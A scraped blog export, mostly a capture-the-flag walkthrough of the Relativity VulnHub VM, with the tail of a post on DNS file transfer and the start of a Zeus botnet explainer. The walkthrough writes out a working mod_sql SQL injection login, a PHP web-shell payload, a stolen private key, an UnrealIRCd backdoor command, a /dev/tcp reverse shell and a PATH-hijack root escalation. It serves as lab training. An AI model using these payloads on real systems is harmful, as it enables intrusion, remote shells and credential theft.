0.0.0.0 / 53 with a configured secret. [INFO] Full resource record query was for: 00006:10000000000000000000000000000000000000000000000000.fake.io. [INFO] Processing frame 00006:10000000000000000000000000000000000000000000000000 [INFO] Full resource record query was for: 0001646e735f6d6573736167655f7465737400000000000000000000.fake.io. [INFO] Processing frame 0001646e735f6d6573736167655f7465737400000000000000000000 [INFO] Full resource record query was for: 00028bf2046ae2144be75d2ce780b3f992e2c368021e.fake.io. [INFO] Processing frame 00028bf2046ae2144be75d2ce780b3f992e2c368021e [INFO] Full resource record query was for: 00032f6c487376545a54336e4a6651676474555753704b447172704b754b.fake.io. [INFO] Processing frame 00032f6c487376545a54336e4a6651676474555753704b447172704b754b [INFO] Full resource record query was for: 00042b654c7255336270417039614e444a74364b2f6d7745633873425561.fake.io. [INFO] Processing frame 00042b654c7255336270417039614e444a74364b2f6d7745633873425561 [INFO] Full resource record query was for: 00054a796250683772356832414f6b4a56657a7742424f4453563968464d.fake.io. [INFO] Processing frame 00054a796250683772356832414f6b4a56657a7742424f4453563968464d [INFO] Full resource record query was for: 000638773d3d.fake.io. [INFO] Processing frame 000638773d3d [INFO] Full resource record query was for: 00000000000000000000000000000000000000000000000000000000.fake.io. [INFO] Processing frame 00000000000000000000000000000000000000000000000000000000 [OK] Message seems to be intact and passes sha1 checksum of 8bf2046ae2144be75d2ce780b3f992e2c368021e [OK] Message was received in 8 requests [INFO] Message has been decrypted with the configured secret Message identifier: dns_message_test ---START OF MESSAGE--- This is a test message that will be sent over DNS Cool eh? ---END OF MESSAGE--- The scripts have some basic checksumming checks to ensure that the message that is received on the other end is intact. Of course, this is not limited to ASCII transfers only. Any file format inc. binary formats should work just fine. HOWEVER Be cautious of that fact that the file size determines the amount of requests required to send the message across the wire.\nUsing encryption by specifying a secret is entirely optional, as well as specifying a output file for the receiver script.\nSome afterthoughts So this technique obviously has many challenges, such as the classic stateless nature of UDP that may cause out-of-sequence/lost frames (I am actually thinking of building some re-transmission logic into the scripts for lulz), the fact that the outgoing DNS port may be destination natted etc. In the case of a destination nat for udp/53, once could potentially query a zone whos name server you have control over, and capture the requests using a tcpdump there. One would then specify a specific fake domain to use with --domain on the sending script, and have something like fake.\u0026lt;your valid zone\u0026gt;.com, which will result in you still being able to grep for fake in the tcpdump replay.\nfurther reading https://isc.sans.edu/forums/diary/Packet+Tricks+with+xxd/10306 http://www.aldeid.com/wiki/File-transfer-via-DNS\n","permalink":"https://leonjza.github.io/blog/2014/03/11/dnsfilexfer-yet-another-take-on-file-transfer-via-dns/","summary":"\u003cp\u003eThis is not a old technique. Many a person has written about it and many technical methods are available to achieve this. Most notably, a concept of getting TCP type connectivity over DNS tunnels is probably a better idea to opt for should you wish to actually use technology like this. A quick Google even revealed full blown dns-tunneling-as-a-service type offers.\u003c/p\u003e\n\u003ch3 id=\"this-article-is-not\"\u003ethis article is not\u0026hellip;\u003c/h3\u003e\n\u003cp\u003e\u0026hellip; about anything particularly new. It is simply my ramblings, and some python code slapped together in literally a day in order for me to learn and get my hands dirty with the concepts.\u003c/p\u003e","title":"dnsfilexfer - yet another take on file transfer via DNS"},{"content":"foreword At the time of writing this post, this VM was part of a local security communities (zacon) pre-con challenge. Finding /root/flag.txt would have entered you into a draw for winning a prize :D However, the greater goal of the challenge was to learn something. I set out some time and attempted the challenge. Fortunately, I managed to complete it in time. So, this is the journey I took to solve this. You can now download and try this VM yourself over at VulnHub. Unzip, mount and boot the VM. Once the VM is booted, it should have an IP assigned via DHCP.\nI think it is interesting to note that I used a very limited set of tools to complete this. No bruteforcers, metasploits, vulnerability scanners and or fancy proxies were used. My toolset consisted out of netcat, nmap and other basic bash commands. There are probably a gazillion ways to do this as lots of this stuff is preference based on how they are approached. However, the basic ideas of the vulnerabilities remain the same.\nthe challenge It all started with an announcement on the Zacon mailing list. A friendly heads-up about the challenge and some details were made available. We were given a hostname of where the challenge lived with clear instructions to find flag.txt. Sounds simple. I slapped the hostname as a url in a browser and was met with a image of M.C. Eshter\u0026rsquo;s \u0026lsquo;Relativity\u0026rsquo;. Great. Something to start thinking about. I also nmapped the box. I mean, how else would you start, right? :)\n# 192.168.56.21 Nmap Nmap scan report for 192.168.56.21 (192.168.56.21) Host is up (0.0024s latency). Not shown: 997 filtered ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http Alright. This gives you a good idea of whats happening on the host, as well as some points to start off with.\ninitial enumeration Enumeration is key to starting something like this. The more you know about the host, the more you are able to adapt and think about as you go through the challenge. So, we know we have a SSH Server, a FTP server and a Web server exposed.\nStarting with the SSH server, I tried to check if password based authentication was on. Maybe Mr MC Eshter had an account on this box? You never know :)\n$ ssh eshter@192.168.56.21 Permission denied (publickey). So, we now know only key based authentication works. Thats fine. Next up was the FTP service.\n$ ftp 192.168.56.21 Connected to 192.168.56.21. 220 Welcome to Relativity FTP (mod_sql) Name (192.168.56.21:root): anonymous 331 Password required for anonymous. Password: 530 Login incorrect. Login failed. Remote system type is UNIX. Using binary mode to transfer files. ftp\u0026gt; No anonymous FTP logins either. It appears that the Server\u0026rsquo;s FTP banner has been customised and is maybe using the mod_sql plugin. A quick Google for mod_sql revealed that this may be ProFTPD with the mod_sql plugin. Great. This is an important piece of information. To complete the enumeration I moved on to the web server. It was time to inspect some request responses.\n$ curl -v 192.168.56.21 * About to connect() to 192.168.56.21 port 80 (#0) * Trying 192.168.56.21... * connected * Connected to 192.168.56.21 (192.168.56.21) port 80 (#0) \u0026gt; GET / HTTP/1.1 \u0026gt; User-Agent: curl/7.26.0 \u0026gt; Host: 192.168.56.21 \u0026gt; Accept: */* \u0026gt; * additional stuff not fine transfer.c:1037: 0 0 * HTTP 1.1 or later with persistent connection, pipelining supported \u0026lt; HTTP/1.1 200 OK \u0026lt; Date: Sat, 28 Sep 2013 23:12:28 GMT \u0026lt; Server: Apache/2.2.23 (Fedora) \u0026lt; Last-Modified: Tue, 05 Mar 2013 03:24:29 GMT \u0026lt; ETag: \u0026#34;4ecb-82-4d72502eec502\u0026#34; \u0026lt; Accept-Ranges: bytes \u0026lt; Content-Length: 130 \u0026lt; Connection: close \u0026lt; Content-Type: text/html; charset=UTF-8 \u0026lt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt;\u0026lt;title\u0026gt;M.C. Escher - Relativity\u0026lt;/title\u0026gt;\u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;/br\u0026gt; \u0026lt;center\u0026gt;\u0026lt;img src=\u0026#34;artwork.jpg\u0026#34;\u0026gt;\u0026lt;/center\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; * Closing connection #0 putting the enumeration together With the little bit of poking around we have just done, we are able to say that this may be a Fedora Core Server, running Apache 2.2.13, with ProFTPD and the mod_sql plugin. This already gives us quite a lot to work with in the sense of researching the respective software in search of known vulnerabilities.\nWith me loving web based security, my first attempt at further enumerating the machine was via the web server. I searched for cgi-bin/ type problems, potentially hidden directories via robots.txt, username enumeration via home directories etc. to no avail. At some stage it became very apparent that the initial entry point for this server was not via the Web.\nthe initial attack The next step was the FTP server. As it was purposely disclosing the fact that it was using mod_sql, instinct kicked in and I attempted to check the responses if I tried to login with username ' and password '.\n# ftp 192.168.56.21 Connected to 192.168.56.21. 220 Welcome to Relativity FTP (mod_sql) Name (192.168.56.21:root): \u0026#39; 331 Password required for \u0026#39;. Password: 421 Service not available, remote server has closed connection Login failed. No control connection for command: Success ftp\u0026gt; As you can clearly see, the response does differ from when I initially attempted to login as anonymous. This highly suggests that one of the fields is SQL injectable. And so, it was research time. Using good \u0026lsquo;ol trusty Google, I searched for proftpd mod_sql injection vulnerability. Hey presto! The very first hit describes a vulnerability disclosed in 2009.\nFrom this research, we can be pretty confident in thinking that this specific FTP server may as well be vulnerable to the exact same vulnerability, and may very well be our first entry point into the system. Sample exploits are available here, and as such I attempted to exploit this. I copied the SQLi payload from the website %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; -- and pasted this as the username, whereafter I provided 1 as the password.\n# ftp 192.168.56.21 Connected to 192.168.56.21. 220 Welcome to Relativity FTP (mod_sql) Name (192.168.56.21:root): %\u0026#39;) and 1=2 union select 1,1,uid,gid,homedir,shell from users; -- 331 Password required for %\u0026#39;). Password: 421 Service not available, remote server has closed connection Login failed. No control connection for command: Success ftp\u0026gt; bye No dice. :| Ok, well I guess I couldn\u0026rsquo;t have expected it to be that easy. This caused me to dig even deeper and research exactly what the problem is, and why this vulnerability exists. Eventually, I got hold of a vulnerable version of the software, set it up in a LAB VM, and tested the SQLi payload until it worked. I ended up with a slightly different payload to the ones available online.\n# ftp 192.168.56.21 Connected to 192.168.56.21. 220 Welcome to Relativity FTP (mod_sql) Name (192.168.56.21:root): %\u0026#39;) and 1=2 union select 1,1,uid,gid,homedir,shell from users;# 331 Password required for %\u0026#39;). Password: 230 User %\u0026#39;) and 1=2 union select 1,1,uid,gid,homedir,shell from users;# logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp\u0026gt; w00t. Notice the difference though? The SQL commenting was changed from \u0026ndash; to #. Apparently, MySQL is pretty finicky about the fact that the \u0026ndash; style comments should have a space afterwards. This means that a payload ending with say, from users; -- NOTHING_OF_VALUE would have worked too. Just putting a space after the \u0026ndash; did not work as the software most probably does a type of trim() on the field, hence the need to have something after the space too. Awesome, something learnt.\nweb based attack Now that we have FTP access to the host, we simply needed to ls to learn what is the next step.\nftp\u0026gt; ls 200 PORT command successful 150 Opening ASCII mode data connection for file list drwxr-xr-x 3 root root 4096 Mar 5 2013 0f756638e0737f4a0de1c53bf8937a08 -rw-r--r-- 1 root root 235423 Mar 5 2013 artwork.jpg -rw-r--r-- 1 root root 130 Mar 5 2013 index.html 226 Transfer complete. ftp\u0026gt; cd 0f756638e0737f4a0de1c53bf8937a08 550 0f756638e0737f4a0de1c53bf8937a08: Permission denied ftp\u0026gt; A directory called \u0026lsquo;0f756638e0737f4a0de1c53bf8937a08\u0026rsquo; was present, however our FTP user does not have access to this. We are able to deduce that this is in the web folder based on the content of the directory we have access to. So, time to slap http://192.16.56.21/0f756638e0737f4a0de1c53bf8937a08 into a web browser.\nexploiting the web based vulnerability Browsing to the above mentioned URL revealed a PHP driven website filled with information about the Relativity artwork. While this in itself was interesting, the real interest was in the url\u0026rsquo;s to different parts of the website. More specifically, the urls were composed as index.php?page=definition.php. Immediately this suggested that the file index.php was programmed to include other files in order to render the content. In the examples case it included definition.php.\nMy first attempts to exploit this was very successful. For this kind of potential vulnerability, I have a small PHP data stream wrapper shell in my toolbox. Normally, the shell looks something like this:\n?file=data:,\u0026lt;?php system($_GET[c]); ?\u0026gt;\u0026amp;c=ls Sometimes however, sites tend to attempt to filter out certain PHP commands. So, in order to increase the chances of success, a base64 encoded version ends up being my favourite:\n?file=data:;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=\u0026amp;c=dir I used this and now had shell access to the box. Remembering the basic tips of enumerate-\u0026gt;exploit-\u0026gt;post-exploit, I ran a few simple commands, just to get a better feel for the environment that I was facing. I was using Google Chrome. If you add \u0026lsquo;view-source:\u0026rsquo; to the front of a url, or right click-\u0026gt; view source, then you will see the output for your command shell in a much neater and easier to read layout. I ran the commands id; uname -a; sestatus; pwd; ls -lah /home; cat /etc/passwd:\n  From this we know that the server is running Fedora Core 17, with the 3.9.8-100 kernel. SELinux is disabled. There are 2 users with /home directories, of which jetta\u0026rsquo;s directory is protected from me reading it at the moment. root, mauk and jetta all have valid logins shells too.\nTaking one quick step back, I investigated the sources of the website in order to maybe find some credentials that may attach this website to a database or something similarly useful. While doing this, I noticed the index.php page was in fact doing partial input validation, which may cause some web shells not to work :)\n$blacklist_include=array(\u0026#34;php://\u0026#34;); for ($i=0; $i\u0026lt;count($blacklist_include); $i++){ if (strpos($_GET[\u0026#39;page\u0026#39;],$blacklist_include[$i]) !== false){ die(); } } $page = $_GET[\u0026#39;page\u0026#39;]; include ($page); gaining further access From here you can of course take the time to set yourself up with a very nice interactive shell using this web based remote file inclusion vulnerability. However, browsing around the file system its clear that you can browse in the user mauk\u0026rsquo;s home directory. While the directory itself has nothing of real value, there are still the hidden directories to view. Usually, these include things such as the users bash_history, bashrc etc. Also, ssh key related information would typically reside inside .ssh/. In this users .ssh/ directory, he left he’s SSH private key there, with permissions set so that anyone can read it. So, using the web based remote file include shell we are able to steal this off the server with the command cat /home/mauk/.ssh/id_rsa, which would echo us the key.\n-----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEA5sm/rHHoCaTtncp7DCSIJlWnUg9eyfpJ3czIn18U1lv5ZQf0 9yGaDxafualdpXCNMo32mVQb9XQ7c2N7sdSdAjsgSjV0YG/IZGZNRyFS58YJQRdZ 5wRu6eKAlQVss/Lq3zwuBsT8Om/1/cKpVgB3ukPtKA97M5iSxL1VWWXg6GVoJ6f6 zIio/DZMFCxOU9Wyl7i8ssEoBxQlmgZh9pnYYhwo7Rf3RXBJeHDpuc1g+vol2vRN ALXqIBlItS08MhoTaS0SK+pD98OU34M745U5Mo4TgFjYc+eD7xewyduWuS5IuFPd xfcHkt0cQ7he0AYHuk5ooCI4ca3B0xcSZILWqwIDAQABAoIBAHNnIMxXLQNdkGAd tsfMoLQikodrHif7WuJpG0zuG5pQ5XWKtAi7qbCvzHDnaudmT4SfDld/gneLhord jSXQPi62aCATeL0cSGVD7pKJ7E3vbgM5bQAi7F9RnqBl1QRqjN3R1uYVrFaAU85v f4N8umHOw5ELpLyZJ5LvZfVNB1jNIRpxINhAP+/kVslsZ93qyssljokKFMy/uOIH r+SV3b3Zfogvg67AJ/g08jtCjYdbr7egPP2TYPMRz5fbTWCrc5m4EBvf5h5pP/w6 Go12YacY2lbF5wzbFUjIdNyF7RZHFDbSB0bM9aCDmXTfywlFswYdb7HyIZrstQ9W BzWhIYkCgYEA/tUe/rhUcEYEXkhddkXWARcX0t9YNb8apY7WyVibiSyzh33mscRG MLZoJJri5QMvNdYkNGr5zSGEo270Q2CzduKCbhVjXIybIbmggAc/80gZ5E8FDgJ7 szUKJL37BxXbAAYFIZkzXvc76Ve+vZvLfKMTbQqXTgKkQpGyRHLVOz8CgYEA59ht YicNlz2yM26mpGqQNLGtEC1RmyZbPn03yJRTBJG5/sOlMw0RI+cMEiqyo7MKHmMZ +Z7VKVtk8xEQbUy6EAeeSri/Fh1xiKRtlwwQSU1q2ooPOmdHyUp+rhseoPaDAJgy 3KJYbkQMzHVt6KhsWVTEnrz0VtxiTzRu7p2Y5ZUCgYEAt5X2RG+rdU8b6oibvI9H Q3XNlf+NXvsUSV2EY33QX5yyodQUFNFf98wRbv2epHoM0u45GwJOgHe7RLq0gq3x 3J4GdSQ3dv9c64j9lf6jFbNF4/MBozwqvcpiSmILrOkT4wpzO+dQ2QOoR80M/zB0 ApDBd/b/VhYVHFg2Y5WPBKUCgYBn47SIMgXGCtBqeZ/UtyetZRyuzg/uXQ6v/r5b dBOLTZ2xyouhR66xjtv63AU2k4jqOvAtyf2szZZ70N6yi5ooirFkvEpsJ39zgnLV J4O4xScnjIvsWNFzIp2HeQGNkUj8oDbSZTEJIBc4GzrH8Yizsud0VimLLrAi29UF ubsEzQKBgQDpWaD5rTcaWueiH2DwI7kbdgyf6yfpunsRNsnq0GqZ2wSaUyKt9b1j bj9Dp+VxrUt584v//7z9Skkde2akJbA/qiF8/oOvzaiNRAOfpLCiqoL0vJ5dIvcg aXwuOk5Dt0/xQWPAKHL6HYyzQjnad/VAmn6tnxko1A/S8ELiG+MUtg== -----END RSA PRIVATE KEY----- What is particularly important to note here is the fact that this private key is not password protected. Usually, password protected keys would have a line such as Proc-Type: 4,ENCRYPTED indicating this. This key does not. So, using this, it would be as easy as specifying a private key to use when connecting and viola. I saved the the contents of id_rsa to a file called key, and specified it to be used when connecting with the -i flag:\n# ssh mauk@192.168.56.21 -i key [mauk@Relativity ~]$ id uid=1001(mauk) gid=1001(mauk) groups=1001(mauk) [mauk@Relativity ~]$ w00t. Now, we have a proper interactive shell as the user mauk! :)\nenumerating the next step Again, enumerate-\u0026gt;exploit-\u0026gt;post-exploit are very important steps. Now we find ourselves at the post-exploitation part again. Learn as much as you can about everything you can. Having the interactive SSH session that we have now, it was a breeze to learn quite a lot about the server. More importantly, learning about that which we also don’t have access to.\nEnumeration is not just about files and the access. It also includes network interfaces, configuration etc. In the user mauk\u0026rsquo;s case, he had a .bash_history file, which revealed the key to the next part of the challenge. I also noticed port 6667 (irc) being open locally along with a ircd running as the user jetta.\n[mauk@Relativity ~]$ cat .bash_history ssh -f root@192.168.144.228 -R 6667:127.0.0.1:6667 -N su - exit su - [mauk@Relativity ~]$ The bash_history confirmed the use of the ircd, and as such, I re-setup my ssh connection to the server, this time forwarding port 6667 to my laptop so that I may connect to it with a local irc client. The ssh command now looked something like this: ssh -L 6667:127.0.0.1:6667 mauk@192.168.56.21 -i key\ngood \u0026lsquo;ol irc With the now forwarded IRC port, my local client connected to the irc service, and the following MOTD was sent:\nConnecting… Connected *** Looking up your hostname... *** Couldn\u0026#39;t resolve your hostname; using your IP address instead Logged in Welcome to the Relativity IRC Network bobsmith!bobsmith@localhost Your host is relativity.localdomain, running version Unreal3.2.8.1 This server was created Thu Feb 28 2013 at 17:54:35 EST relativity.localdomain Unreal3.2.8.1 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGj UHNAMES NAMESX SAFELIST HCN MAXCHANNELS=10 CHANLIMIT=#:10 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 are supported by this server WALLCHOPS WATCH=128 WATCHOPTS=A SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~\u0026amp;@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTG NETWORK=Relativity CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~\u0026amp;@%+ are supported by this server EXCEPTS INVEX CMDS=KNOCK,MAP,DCCALLOW,USERIP are supported by this server There are 1 users and 0 invisible on 1 servers I have 1 clients and 0 servers Current Local Users: 1 Max: 1 Current Global Users: 1 Max: 1 - relativity.localdomain Message of the Day - - 9/7/2013 9:17 - __________ .__ __ .__ .__ __ - \\______ \\ ____ | | _____ _/ |_|__|__ _|__|/ |_ ___.__. - | _// __ \\| | \\__ \\\\ __\\  \\  \\/ / \\  __\u0026lt; | | - | | \\  ___/| |__/ __ \\| | | |\\  /| || | \\___ | - |____|_ /\\___ \u0026gt;____(____ /__| |__| \\_/ |__||__| / ____| ·VM· - \\/ \\/ \\/ \\/ End of /MOTD command. Toying around with the IRC service did not yeald much results. No useful channels or anything funny was found with the service. However, the actual server that was running was UnrealIRCD v 3.8.2.1 as can be seen in the servers MOTD. Again, using this amazing tool called Google, I checked whats up with this version of UnrealIRCD. Lo and behold the first hit \u0026lsquo;UnrealIRCD 3.2.8.1 Backdoor Command Execution - Rapid7\u0026rsquo;. Excellent. Seems like this version has a remote command execution backdoor. The hit on Google to Rapid7\u0026rsquo;s actually links to a Metasploit module for this exact same backdoor.\nIt was time to research the vulnerability a bit, just to understand what exactly is going on here. A great resource was found here, where it was explained that a piece of code exists #define DEBUG3_DOLOG_SYSTEM(x) system(x), that does a system command if it sees traffic prepended with AB;. Alright. I didn’t have metasploit immediately available, so I opted for the nc shell, just to test it out. To my disappointment, it seemed like I missed something very important here as I received no output when issuing commands.\nSo back to the drawing board it was. I decided to download and compile my own local version of the backdoored ircd daemon, and test what the expected result of this backdoor should be. At the same time I also learnt a little about unrealircd itself and how to configure it. win :)\nEventually I got the daemon running and was able to test the backdoor locally. Still, no command output was received when commands were issued, however, I did notice that the commands themselves actually do execute. I echoed \u0026lsquo;a\u0026rsquo; to a file in /tmp/ via the backdoor, and in a SSH session confirmed that it now existed.\nSo, back on the challenge vm, I have port 6667 still forwarded locally. To test this, I ran a command to list the contents of /home/ and redirect the output to a file in /tmp.\n# echo \u0026#34;AB; ls -lah /home/ \u0026gt; /tmp/1\u0026#34; | nc 127.0.0.1 6667 :relativity.localdomain NOTICE AUTH :*** Looking up your hostname... :relativity.localdomain NOTICE AUTH :*** Couldn\u0026#39;t resolve your hostname; using your IP address instead :relativity.localdomain 451 AB; :You have not registered ^C Back on the SSH session I had with mauk\u0026rsquo;s account, /tmp/1 appeared, however without permissions for me to see it. So, I reran the previous command, substituting the backdoor command to chmod 777 /tmp/1. I reran the cat on /tmp/1 in mauk\u0026rsquo;s session and bam:\nmauk@Relativity ~]$ cat /tmp/1 total 16K drwxr-xr-x. 4 root root 4.0K Feb 25 2013 . dr-xr-xr-x. 18 root root 4.0K Feb 28 2013 .. drwx------. 4 jetta jetta 4.0K Sep 28 10:03 jetta drwxr-xr-x. 3 mauk mauk 4.0K Jul 9 08:55 mauk Oh yes! Its working! In a broken kind of way, but it works! To make my life a little easier, I changed the backdoor command to actually give me a back connect bash shell so that I can have a interactive session. Its a time saving thing really. My command to the IRCd was now echo \u0026quot;AB; bash -i \u0026gt;\u0026amp; /dev/tcp/\u0026lt;my machine\u0026gt;/6676 0\u0026gt;\u0026amp;1\u0026quot; | nc 127.0.0.1 6667. On my machine I opened a netcat listener on port 6676 and waited for the session to spawn:\n# nc -vnlp 6676 listening on [any] 6676 ... connect to [\u0026lt;snip\u0026gt;] from (UNKNOWN) [192.168.56.21] 53493 bash: no job control in this shell [jetta@Relativity Unreal]$ Great. Now it will be a lot easier to navigate around. Spawing the shell the way I did started me off in /opt/Unreal, which was a directory I previously did not have access to. I poked around here for a bit, trying to see if I missed anything with regards to the IRC setup. Nothing was immediately apparent, so, I moved on to the rest of the machine. More specifically, in jetta\u0026rsquo;s home directory, there was a binary called auth_server, owned by root, but with no suid bit. I attempted to execute the binary, and was greeted by a spinning pipe, and eventually a \u0026lsquo;error(12)\u0026rsquo; after a classic cowsay.\n[jetta@Relativity ~]$ ls -lah auth_server/auth_server ls -lah auth_server/auth_server -rwxr-xr-x 1 root root 7.9K Mar 8 2013 auth_server/auth_server [jetta@Relativity ~]$ auth_server/auth_server auth_server/auth_server [+] Checking Certificates...done [+] Contacting server, please wait...- ____________________________ / Windows 2000 is out! \\ | | \\ -- PC Magazine, April 2013 / ---------------------------- \\  ^__^ \\  (oo)\\_______ (__)\\  )\\/\\  ||----w | || || could not establish connection error: (12) [jetta@Relativity ~]$ Right\u0026hellip; well that is not exactly very helpful\u0026hellip; or is it? Admittedly, this was the part that cost me the most time. I got lost on a path which is lead by enum-\u0026gt;sploit-\u0026gt;post, and wandered off into a world of binary analysis, process packet sniffing and eventually reverse engineering. Initially, I somehow figured that auth_server should be running, and should provide the IRCd with NickServ capabilities, so that maybe I could VHOST to a vDomain of a operator account, IDENT as him and then discover other hidden treasures\u0026hellip;\nGranted, I did do some basic enum, and figured after I ran id and saw that the account for jetta was not in any fancy groups, there was nothing more to see here.\nEVENTUALLY, after a number of tactical coffees and rethinking of what I have seen so far, I came back to re-attempt this.\nthe shortest straw I reran auth_server a few more times, and decided to push the binary through strings one more time, just to see if maybe the clue will be more clear now:\n# strings auth_server /lib64/ld-linux-x86-64.so.2 __gmon_start__ libc.so.6 fflush puts putchar printf poll stdout system __libc_start_main GLIBC_2.2.5 l$ L t$(L |$0H [+] Checking Certificates... done [+] Contacting server, please wait... could not establish connection invalid certificates error: (12) fortune -s | /usr/bin/cowsay Starting Auth server.. ;*3$\u0026#34; This did not help me get what I was clearly missing, and so, I went back to the enumeration step. What do I know about my current environment? WHERE do I have access now? WHAT access do I have? Anything different here that I may be missing. Eventually, I tried to so a sudo -l, which should list the commands I am allowed to run with sudo. Because my shells were all build with netcat, I had no proper tty to work with, so, sudo would complain about this. A quick fix with python, and all is well again:\n[jetta@Relativity ~]$ sudo -l sudo -l sudo: sorry, you must have a tty to run sudo [jetta@Relativity ~]$ python -c \u0026#34;import pty;pty.spawn(\u0026#39;/bin/sh\u0026#39;);\u0026#34; python -c \u0026#34;import pty;pty.spawn(\u0026#39;/bin/sh\u0026#39;);\u0026#34; sh-4.2$ sudo -l sudo -l Matching Defaults entries for jetta on this host: requiretty, env_keep=\u0026#34;COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS\u0026#34;, env_keep+=\u0026#34;MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE\u0026#34;, env_keep+=\u0026#34;LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES\u0026#34;, env_keep+=\u0026#34;LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE\u0026#34;, env_keep+=\u0026#34;LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY PATH\u0026#34;, env_reset User jetta may run the following commands on this host: (root) NOPASSWD: /home/jetta/auth_server/auth_serveyr sh-4.2$ And there it is! auth_server may be run as root with no password requirement! \\o/. Immediately I jumped to running sudo /home/jetta/auth_server/auth_server, just to be met with the same fate of \u0026lsquo;error(12)\u0026rsquo;. While playing with the binary earlier, I was however convinced that this error(12) thing was exactly what it was configured to do and nothing more. Yes, thats it. Simply write the \u0026lsquo;Checking Certs\u0026rsquo;, \u0026lsquo;Contacting Server\u0026rsquo; part, then, run fortune -s | /usr/bin/cowsay and error(12).\n\u0026hellip; wait a sec. fortune is not called from its full relative path, however /usr/bin/cowsay is. This means if I can fool the binary into thinking something else is this fortune command, then I may be able to root the box. Especially if I can make it think my bash shell is fortune :)\nfinishing off With all the knowledge I have gained now, I moved on to finishing off by rooting the box. This was achieved by firstly creating a script called fortune, which was simply the old bash command pushed over /dev/tcp again, and placing it in /home/jetta/bin. I then ensured that fortune was executable and tested it by just running it alone. It was working fine :)\nNext, I have to fool the auth_server binary to think that my new fortune script is in fact the one it was looking for. To do this, I added a path to the PATH env variable, and rehashed the bins. Lastly, I ran auth_server as root, and switched to my last nc listener on port 6677\u0026hellip;\n$ python -c \u0026#34;import pty;pty.spawn(\u0026#39;/bin/sh\u0026#39;);\u0026#34; sh-4.2$ export PATH=/home/jetta/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin \u0026lt;etta/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin sh-4.2$ sudo auth_server/auth_server sudo auth_server/auth_server [+] Checking Certificates...done [+] Contacting server, please wait...could not establish connection error: (12) auth_server did its usual trick with error(12), however, my netcat listener now had a root prompt \\o/\n# nc -lvp 6677 listening on [any] 6677 ... 192.168.56.21: inverse host lookup failed: Unknown server error : Connection timed out connect to [\u0026lt;snip\u0026gt;] from (UNKNOWN) [192.168.56.21] 38267 [root@Relativity jetta]# id id uid=0(root) gid=0(root) groups=0(root) [root@Relativity jetta]# locate flag.txt locate flag.txt /root/flag.txt [root@Relativity jetta]# cat /root/flag.txt cat /root/flag.txt 65afa0e5928b98f7ae283e16df2d43bf [root@Relativity jetta]# As you can see, flag.txt was found by simply using the locate command for the file. Because I am now root, I have no troubles reading it, and as such, the challenge was considered completed!\n","permalink":"https://leonjza.github.io/blog/2013/11/18/slash-root-slash-flag-dot-txt-solving-the-relativity-vulnerable-vm/","summary":"\u003ch2 id=\"foreword\"\u003eforeword\u003c/h2\u003e\n\u003cp\u003eAt the time of writing this post, this VM was part of a local security communities (\u003ca href=\"http://zacon.org.za/\"\u003ezacon\u003c/a\u003e) pre-con challenge. Finding /root/flag.txt would have entered you into a draw for winning a prize :D However, the greater goal of the challenge was to learn something. I set out some time and attempted the challenge. Fortunately, I managed to complete it in time. So, this is the journey I took to solve this. You can now download and try this VM yourself over at \u003ca href=\"http://vulnhub.com/entry/devrandom_relativity,55/\"\u003eVulnHub\u003c/a\u003e. Unzip, mount and boot the VM. Once the VM is booted, it should have an IP assigned via DHCP.\u003c/p\u003e\n\u003cp\u003eI think it is interesting to note that I used a very limited set of tools to complete this. No bruteforcers, metasploits, vulnerability scanners and or fancy proxies were used. My toolset consisted out of netcat, nmap and other basic bash commands. There are probably a gazillion ways to do this as lots of this stuff is preference based on how they are approached. However, the basic ideas of the vulnerabilities remain the same.\u003c/p\u003e","title":"slash root slash flag dot txt Solving the Relativity Vulnerable VM"},{"content":"NOTE! THIS IS FOR EDUCATIONAL PURPOSES ONLY. CHANCES ARE, IF YOU TRY THIS WITHOUT PERMISSION, YOU WILL GET CAUGHT AND GET THROWN INTO A DARK PLACE WITH NO INTERNET\nBots for the masses. Recently at a conference that I attended, I sat in a class that was talking about Botnets and general \u0026lsquo;How Easy They Are\u0026rsquo; related things. 90% of the technical discussions did not really come as a surprise to me, however, I came to realize that I am not 100% aware of how ( and I dare say this lightly ) easy they have it. The technical competency of the adversary really doesn\u0026rsquo;t have to be at a jaw droppingly high level. In fact, if you can operate the keyboard and mouse, heck, even a tablet/phone once its all setup, then you could potentially be a successful botnet operator.\nSo, botnet? In its simplest form, a bot, from an attackers perspective, is simply a part of a larger resource network. A number, that if not available, does not really matter as there are many more that form part of the larger botnet. A very well known botnet is the [Zeus botnet](https://en.wikipedia.org/wiki/Zeus_(malware)). Popular for its ability to perform credential theft, it was sold from what appears to range from $700 to $15000, depending on the extra features that you\u0026rsquo;d like. Some of these features include the ability to connect via VNC to a remote host in order to graphically control it.\nSo for $700, you can buy a relatively easy to setup piece of software that would allow you to steal credentials from random victims. This activity is only one part of a larger cybertheft cycle. The wikipedia article [here](https://en.wikipedia.org/wiki/Zeus_(malware)) does a excellent job to describe the process in a image:\n  The Zeus Bot Architecture The Zeus bot client side software is a windows only piece of malware. Typically infection would occur via a drive-by download (which is the scariest and possibly most stealthy form of infection), or via other means such as facebook posts, phishing sites etc, enticing the user to run an arbitrary executable. Of course, infection is not limited to these methods. Simply getting access to a 